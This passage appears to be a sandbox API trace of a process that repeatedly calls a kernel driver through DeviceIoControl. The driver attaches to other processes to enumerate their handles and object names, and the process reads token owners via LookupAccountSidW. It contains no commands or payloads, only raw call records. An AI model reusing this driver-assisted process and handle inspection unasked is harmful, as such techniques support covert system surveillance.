hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0137.238] PsLookupProcessByProcessId (in: ProcessId=0x770, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.238] PsAcquireProcessExitSynchronization () returned 0x0 [0137.238] KeStackAttachProcess (in: PROCESS=0xfffffa8001ee8b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001ee8b30, ApcState=0xfffff880054735d0) [0137.238] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8001f8e070, HandleInformation=0x0) returned 0x0 [0137.238] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.238] PsReleaseProcessExitSynchronization () returned 0x2 [0137.238] ObfDereferenceObject (Object=0xfffffa8001ee8b30) returned 0x10 [0137.238] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fdd044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001fdd044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.238] ObfDereferenceObject (Object=0xfffffa8001f8e070) returned 0x1 [0137.238] IofCompleteRequest (Irp=0xfffffa8001fa6b40, PriorityBoost=0) [0137.238] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.238] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.238] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x94, lpOverlapped=0x0) returned 1 [0137.238] PsLookupProcessByProcessId (in: ProcessId=0x770, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.238] PsAcquireProcessExitSynchronization () returned 0x0 [0137.238] KeStackAttachProcess (in: PROCESS=0xfffffa8001ee8b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001ee8b30, ApcState=0xfffff880054735d0) [0137.238] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8001ee8420, HandleInformation=0x0) returned 0x0 [0137.238] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.238] PsReleaseProcessExitSynchronization () returned 0x2 [0137.238] ObfDereferenceObject (Object=0xfffffa8001ee8b30) returned 0x10 [0137.238] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001ffb044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001ffb044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.238] ObfDereferenceObject (Object=0xfffffa8001ee8420) returned 0x1 [0137.239] IofCompleteRequest (Irp=0xfffffa8001fa6b40, PriorityBoost=0) [0137.239] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.239] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.239] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0137.239] PsLookupProcessByProcessId (in: ProcessId=0x770, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.239] PsAcquireProcessExitSynchronization () returned 0x0 [0137.239] KeStackAttachProcess (in: PROCESS=0xfffffa8001ee8b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001ee8b30, ApcState=0xfffff880054735d0) [0137.239] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0137.239] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.239] PsReleaseProcessExitSynchronization () returned 0x2 [0137.239] ObfDereferenceObject (Object=0xfffffa8001ee8b30) returned 0x10 [0137.239] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80019fb044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019fb044, ReturnLength=0xfffff88005473550) returned 0x0 [0137.239] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0137.239] IofCompleteRequest (Irp=0xfffffa8001fa6b40, PriorityBoost=0) [0137.239] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.239] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x408) returned 0xc0 [0137.239] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0137.239] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005473668, HandleInformation=0x0 | out: Object=0xfffff88005473668*=0xfffffa8001f9e530, HandleInformation=0x0) returned 0x0 [0137.239] ObOpenObjectByPointer (in: Object=0xfffffa8001f9e530, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005473670 | out: Handle=0xfffff88005473670*=0xffffffff80000af8) returned 0x0 [0137.239] ObfDereferenceObject (Object=0xfffffa8001f9e530) returned 0x12 [0137.239] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000af8, DesiredAccess=0x8, TokenHandle=0xfffffa800f135fc0 | out: TokenHandle=0xfffffa800f135fc0*=0xc8) returned 0x0 [0137.239] ZwClose (Handle=0xffffffff80000af8) returned 0x0 [0137.239] IofCompleteRequest (Irp=0xfffffa8001fa6b40, PriorityBoost=0) [0137.239] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0137.239] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0137.241] CloseHandle (hObject=0xc8) returned 1 [0137.241] CloseHandle (hObject=0xc0) returned 1 [0137.241] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.241] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0137.241] PsLookupProcessByProcessId (in: ProcessId=0x408, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.241] PsAcquireProcessExitSynchronization () returned 0x0 [0137.241] KeStackAttachProcess (in: PROCESS=0xfffffa8001f9e530, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001f9e530, ApcState=0xfffff880054735d0) [0137.241] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8001f9ed10, HandleInformation=0x0) returned 0x0 [0137.241] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.241] PsReleaseProcessExitSynchronization () returned 0x2 [0137.241] ObfDereferenceObject (Object=0xfffffa8001f9e530) returned 0x10 [0137.241] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a0b044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001a0b044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.241] ObfDereferenceObject (Object=0xfffffa8001f9ed10) returned 0x1 [0137.241] IofCompleteRequest (Irp=0xfffffa8001fa6b40, PriorityBoost=0) [0137.241] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.241] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.241] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x8a, lpOverlapped=0x0) returned 1 [0137.241] PsLookupProcessByProcessId (in: ProcessId=0x408, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.241] PsAcquireProcessExitSynchronization () returned 0x0 [0137.241] KeStackAttachProcess (in: PROCESS=0xfffffa8001f9e530, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001f9e530, ApcState=0xfffff880054735d0) [0137.241] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8001fa0a20, HandleInformation=0x0) returned 0x0 [0137.241] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.241] PsReleaseProcessExitSynchronization () returned 0x2 [0137.242] ObfDereferenceObject (Object=0xfffffa8001f9e530) returned 0x10 [0137.242] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fe0044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001fe0044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.242] ObfDereferenceObject (Object=0xfffffa8001fa0a20) returned 0x1 [0137.242] IofCompleteRequest (Irp=0xfffffa8001fa6b40, PriorityBoost=0) [0137.242] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.242] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.242] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0137.242] PsLookupProcessByProcessId (in: ProcessId=0x408, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.242] PsAcquireProcessExitSynchronization () returned 0x0 [0137.242] KeStackAttachProcess (in: PROCESS=0xfffffa8001f9e530, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001f9e530, ApcState=0xfffff880054735d0) [0137.242] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0137.242] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.242] PsReleaseProcessExitSynchronization () returned 0x2 [0137.242] ObfDereferenceObject (Object=0xfffffa8001f9e530) returned 0x10 [0137.242] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001a0a044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a0a044, ReturnLength=0xfffff88005473550) returned 0x0 [0137.242] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0137.242] IofCompleteRequest (Irp=0xfffffa8001fa6b40, PriorityBoost=0) [0137.242] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.242] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x664) returned 0xc0 [0137.242] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0137.242] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005473668, HandleInformation=0x0 | out: Object=0xfffff88005473668*=0xfffffa8001fb3b30, HandleInformation=0x0) returned 0x0 [0137.242] ObOpenObjectByPointer (in: Object=0xfffffa8001fb3b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005473670 | out: Handle=0xfffff88005473670*=0xffffffff80000af8) returned 0x0 [0137.242] ObfDereferenceObject (Object=0xfffffa8001fb3b30) returned 0x12 [0137.242] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000af8, DesiredAccess=0x8, TokenHandle=0xfffffa800f135fc0 | out: TokenHandle=0xfffffa800f135fc0*=0xc8) returned 0x0 [0137.242] ZwClose (Handle=0xffffffff80000af8) returned 0x0 [0137.242] IofCompleteRequest (Irp=0xfffffa8001fa6b40, PriorityBoost=0) [0137.242] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0137.242] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0137.244] CloseHandle (hObject=0xc8) returned 1 [0137.244] CloseHandle (hObject=0xc0) returned 1 [0137.244] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.244] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0137.244] PsLookupProcessByProcessId (in: ProcessId=0x664, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.244] PsAcquireProcessExitSynchronization () returned 0x0 [0137.244] KeStackAttachProcess (in: PROCESS=0xfffffa8001fb3b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001fb3b30, ApcState=0xfffff880054735d0) [0137.244] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8001fae480, HandleInformation=0x0) returned 0x0 [0137.244] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.244] PsReleaseProcessExitSynchronization () returned 0x2 [0137.244] ObfDereferenceObject (Object=0xfffffa8001fb3b30) returned 0x10 [0137.244] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80019f9044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa80019f9044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.244] ObfDereferenceObject (Object=0xfffffa8001fae480) returned 0x1 [0137.244] IofCompleteRequest (Irp=0xfffffa8001fa6b40, PriorityBoost=0) [0137.244] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.244] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.244] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x8a, lpOverlapped=0x0) returned 1 [0137.244] PsLookupProcessByProcessId (in: ProcessId=0x664, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.244] PsAcquireProcessExitSynchronization () returned 0x0 [0137.244] KeStackAttachProcess (in: PROCESS=0xfffffa8001fb3b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001fb3b30, ApcState=0xfffff880054735d0) [0137.244] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8001a18550, HandleInformation=0x0) returned 0x0 [0137.244] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.245] PsReleaseProcessExitSynchronization () returned 0x2 [0137.245] ObfDereferenceObject (Object=0xfffffa8001fb3b30) returned 0x10 [0137.245] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fc3044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001fc3044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.245] ObfDereferenceObject (Object=0xfffffa8001a18550) returned 0x1 [0137.245] IofCompleteRequest (Irp=0xfffffa8001fa6b40, PriorityBoost=0) [0137.245] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.245] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.245] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0137.245] PsLookupProcessByProcessId (in: ProcessId=0x664, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.245] PsAcquireProcessExitSynchronization () returned 0x0 [0137.245] KeStackAttachProcess (in: PROCESS=0xfffffa8001fb3b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001fb3b30, ApcState=0xfffff880054735d0) [0137.245] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0137.245] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.245] PsReleaseProcessExitSynchronization () returned 0x2 [0137.245] ObfDereferenceObject (Object=0xfffffa8001fb3b30) returned 0x10 [0137.245] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80019fc044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019fc044, ReturnLength=0xfffff88005473550) returned 0x0 [0137.245] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0137.245] IofCompleteRequest (Irp=0xfffffa8001fa6b40, PriorityBoost=0) [0137.245] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.245] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5e4) returned 0xc0 [0137.245] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0137.245] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005473668, HandleInformation=0x0 | out: Object=0xfffff88005473668*=0xfffffa8001fc4b30, HandleInformation=0x0) returned 0x0 [0137.245] ObOpenObjectByPointer (in: Object=0xfffffa8001fc4b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005473670 | out: Handle=0xfffff88005473670*=0xffffffff80000af8) returned 0x0 [0137.245] ObfDereferenceObject (Object=0xfffffa8001fc4b30) returned 0x12 [0137.245] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000af8, DesiredAccess=0x8, TokenHandle=0xfffffa800f135fc0 | out: TokenHandle=0xfffffa800f135fc0*=0xc8) returned 0x0 [0137.245] ZwClose (Handle=0xffffffff80000af8) returned 0x0 [0137.245] IofCompleteRequest (Irp=0xfffffa8001fa6b40, PriorityBoost=0) [0137.245] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0137.246] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0137.247] CloseHandle (hObject=0xc8) returned 1 [0137.247] CloseHandle (hObject=0xc0) returned 1 [0137.247] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.247] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0137.247] PsLookupProcessByProcessId (in: ProcessId=0x5e4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.247] PsAcquireProcessExitSynchronization () returned 0x0 [0137.247] KeStackAttachProcess (in: PROCESS=0xfffffa8001fc4b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001fc4b30, ApcState=0xfffff880054735d0) [0137.247] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8001fc9350, HandleInformation=0x0) returned 0x0 [0137.247] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.247] PsReleaseProcessExitSynchronization () returned 0x2 [0137.247] ObfDereferenceObject (Object=0xfffffa8001fc4b30) returned 0x10 [0137.247] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80019fd044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa80019fd044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.247] ObfDereferenceObject (Object=0xfffffa8001fc9350) returned 0x1 [0137.247] IofCompleteRequest (Irp=0xfffffa8001fa6b40, PriorityBoost=0) [0137.247] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.247] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.247] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x98, lpOverlapped=0x0) returned 1 [0137.247] PsLookupProcessByProcessId (in: ProcessId=0x5e4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.247] PsAcquireProcessExitSynchronization () returned 0x0 [0137.247] KeStackAttachProcess (in: PROCESS=0xfffffa8001fc4b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001fc4b30, ApcState=0xfffff880054735d0) [0137.248] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8001fc49f0, HandleInformation=0x0) returned 0x0 [0137.248] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.248] PsReleaseProcessExitSynchronization () returned 0x2 [0137.248] ObfDereferenceObject (Object=0xfffffa8001fc4b30) returned 0x10 [0137.248] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80019fe044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa80019fe044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.248] ObfDereferenceObject (Object=0xfffffa8001fc49f0) returned 0x1 [0137.248] IofCompleteRequest (Irp=0xfffffa8001fa6b40, PriorityBoost=0) [0137.248] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.248] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.248] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0137.248] PsLookupProcessByProcessId (in: ProcessId=0x5e4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.248] PsAcquireProcessExitSynchronization () returned 0x0 [0137.248] KeStackAttachProcess (in: PROCESS=0xfffffa8001fc4b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001fc4b30, ApcState=0xfffff880054735d0) [0137.248] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0137.248] 